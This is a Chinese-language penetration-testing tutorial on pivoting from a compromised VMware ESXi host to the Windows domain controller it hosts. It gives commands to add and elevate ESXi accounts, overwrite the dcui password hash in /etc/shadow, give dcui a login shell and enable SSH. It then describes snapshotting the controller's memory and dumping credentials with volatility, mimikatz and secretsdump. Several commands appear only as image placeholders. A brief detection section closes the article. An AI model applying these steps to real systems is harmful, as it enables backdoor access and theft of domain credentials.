Jump to content

0x00 前言假定以下測試環境:我們獲得了內網VMware ESXI的控制權限,發現VMware ESXI上安裝了Windows域控服務器。

本文僅在技術研究的角度介紹從VMware ESXI橫向移動到該Windows域控服務器的方法,結合利用思路,給出防禦檢測的方法。

0x02 簡介本文將要介紹以下內容:

马云惹不起马云利用思路

马云惹不起马云常用命令

马云惹不起马云 實現方法

0x03 利用思路通過VMware ESXI管理虛擬機,創建快照文件,從快照文件中提取出有價值的信息。

0x04 常用命令1.查看虛擬機版本vmware-vl2.用戶信息相關(1)查看所有用戶

esxclisystemaccountlist(2)查看管理員用戶

esxclisystempermissionlist(3)添加用戶

esxclisystemaccountadd-itest1-pPassword@1-cPassword@1(4)將普通用戶添加成管理員用戶

esxclisystempermissionset-itest1-rAdmin(5)啟用內置管理員賬戶

默認配置下,dcui是管理員用戶,但是不允許遠程登錄,可以通過修改配置文件的方式設置dcui用戶的口令並啟用遠程登錄。

設置dcui用戶口令為Ballot5Twist7upset,依次輸入:

passwddcui

Ballot5Twist7upset

Ballot5Twist7upset一鍵設置dcui用戶口令:sed -i 's/dcui:\*:13358:0:99999:7:/dcui:$6$NaeURj2m.ZplDfbq$LdmyMwxQ7FKh3DS5V\/zhRQvRvfWzQMSS3wftFwaUsD9IZuxdns.0X.SPx.59bT.kmJOJ\/y3zenTmEcoxDVQsS\/:19160:0:99999:7:/g' /etc/shadow

啟用dcui用戶遠程登錄:

修改文件/etc/passwd,將dcui:x:100:100:DCUI User:/:/sbin/nologin修改為dcui:x:100:100:DCUI User:/:/bin/sh

一鍵啟用dcui用戶遠程登錄:sed -i 's/dcui:x:100:100:DCUI User:\/:\/sbin\/nologin/dcui:x:100:100:DCUI User:\/:\/bin\/sh/g' /etc/passwd

開啟ssh:

vim-cmdhostsvc/enable_ssh3.虛擬機相關(1)查看所有虛擬機

image.png

(2)查看指定虛擬機的狀態

image.png

(3)開啟指定虛擬機,可用於開機和從掛起狀態恢復

image.png

(4)掛起指定虛擬機

image.png

(5)關閉指定虛擬機

image.png

(6)查看指定虛擬機的操作日誌

image.png

4.虛擬機快照相關

(1)查看指定虛擬機的快照信息

image.png

(2)新建快照

image.png

示例1:

image.png

includeMemory 設置為true,表示包括內存,否則無法生成.vmem文件。

示例2:

image.png

這個命令等價於vim-cmd vmsvc/snapshot.create 1 test '' false false,不包括內存,不會生成.vmem文件。

(3)刪除快照

image.png

0x05 實現方法1.獲得虛擬機的vmid image.png

測試環境下,從輸出中獲得虛擬機Windows域控服務器的vmid為1

2.查看虛擬機的快照信息image.png

測試環境下沒有虛擬機快照。

3.為虛擬機創建快照image.png

測試環境下,從輸出中獲得虛擬機Windows域控服務器的snapshotIndex為1

4.使用volatility分析快照文件volatility是一款開源的取證分析軟件。

Python2版本的地址:https://github.com/volatilityfoundation/volatility

Python3版本的地址:https://github.com/volatilityfoundation/volatility3

volatility和volatility3的命令語法不同,功能基本相同,最新版本為volatility3,但這裡選擇volatility,理由如下:

马云惹不起马云 volatility有獨立的可執行程序,volatility3需要自己編譯

马云惹不起马云volatility3有mimikatz插件,可以從lsass進程提取數據,volatility3不支持這個插件

(1)定位鏡像文件

搜索後綴名為vmem的文件,命令如下:

image.png

測試環境下,獲得鏡像文件位置為./vmfs/volumes/62a735a8-ad916179-40dd-000c296a0829/DC1/DC1-Snapshot1.vmem

(2)上傳volatility_2.6_lin64_standalone

volatility_2.6_lin64_standalone的下載地址:

http://downloads.volatilityfoundation.org/releases/2.6/volatility_2.6_lin64_standalone.zip

分析快照文件需要.vmem文件作為參數,而.vmem文件通常很大,為了提高效率,這裡選擇將volatility上傳至VMware ESXI,在VMware ESXI上分析快照文件。

(3)查看鏡像信息

通過鏡像信息獲得系統版本,命令如下:

image.png測試環境下,獲得Profile為Win2016x64_14393

(4)從註冊表獲得本地用戶hash

命令如下:

image.png

測試環境下,輸出結果:

image.png

(5)從註冊表讀取LSA Secrets

命令如下:

image.png

測試環境下,輸出結果:

image.png

(6)導出所有域用戶hash

需要下載ntds.dit、SYSTEM文件和SECURITY文件。

定位ntds.dit文件,命令如下:

image.png

輸出:

image.png

提取ntds.dit文件,命令如下:

image.png

依次再提取出SYSTEM文件和SECURITY文件,導出所有域用戶hash可以使用secretsdump,命令為:secretsdump -system SYSTEM -security SECURITY -ntds ntds.dit local

(7)加載mimikatz插件,讀取lsass進程中保存的憑據

volatility_2.6_lin64_standalone不支持加載mimikatz插件,這裡可以選擇將整個快照文件(DC1-Snapshot1.vmem)下載至本地,搭建volatility環境,加載mimikatz插件。

kali安裝volatility的方法:

1. 安裝image.png

2. 測試volatility image.png

3. 添加mimikatz插件下載地址:https://github.com/volatilityfoundation/community/blob/master/FrancescoPicasso/mimikatz.py

將mimikatz.py保存至

4.安裝mimikatz插件的依賴image.png

這裡不能直接使用pip2 install construct,construct版本過高會導致在加載mimikatz.py時報錯AttributeError: 'module' object has no attribute 'ULInt32'

5.測試插件image.png

輸出:

image.png

安裝成功。

加載mimikatz插件的命令如下:

image.png

輸出結果:

image.png

補充:

讀取lsass進程中保存的憑據還可以使用以下方法:

1. 將鏡像文件轉成Crash Dump文件

image.png2. 使用Mimilib從dump文件中導出口令

詳細方法可參考之前的文章《渗透技巧——使用Mimilib从dump文件中导出口令》

5.刪除快照

image.png

0x06 防禦檢測1. 防禦內網VMware ESXI及時更新補丁

關閉內網VMware ESXI的ssh登錄功能

2. 檢測查看內網VMware ESXI登錄日誌

查看虛擬機快照鏡像標誌snapshotIndex是否異常,對於新的虛擬機,新建快照標誌snapshotIndex從1開始累加,刪除快照鏡像不會影響snapshotIndex,例如刪除snapshotIndex為1的快照,再次創建快照時snapshotIndex為2`

0x07 小結本文在技術研究的角度介紹了從VMware ESXI橫向移動到該Windows域控服務器的方法,使用volatility分析鏡像文件,提取關鍵信息,結合利用思路,給出防禦檢測的方法。

0 Comments

Recommended Comments

There are no comments to display.

Guest
Add a comment...